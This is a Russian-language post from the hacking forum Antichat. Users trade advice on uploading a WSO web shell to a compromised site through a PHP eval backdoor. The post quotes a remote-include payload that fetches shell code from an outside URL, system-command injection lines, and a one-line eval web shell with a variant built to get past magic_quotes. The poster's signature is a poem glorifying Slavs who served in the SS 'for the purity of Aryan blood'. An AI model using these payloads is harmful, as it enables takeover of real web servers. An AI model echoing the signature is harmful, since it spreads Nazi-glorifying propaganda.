ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от Pashkela

eval позволяет выполнять php-код, ls - никакого отношения к php не имеет. Вывод - нужно написать PHP-код, с помощью которого можно будет залить шелл.

Например, если после просмотра phpinfo() там будет allow_url_include = ON, то можно так залить шелл:

confgs.php?e=include('http://site/shell.txt');

Оо ну это все понятно а если confgs.php?e=system('ls -lia /путь/какой/нибудь'); не как?

ЗЫ а там вообще WIN вместо ls у него dir вроде

Цитата:

Как залить шелл, например WSO, если я имею такой шелл <?php eval($_GET['c']) ?>

старайся всегда делать Как залить шелл, например WSO, если я имею такой шелл <?php eval(stripslashes($_GET['c'])); ?> ибо MQ = On может помешать и то что написал пашкела про include('http://site/shell.txt')
и если Magic_quotes = on то он его побреет этот запрос , или я не прав

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.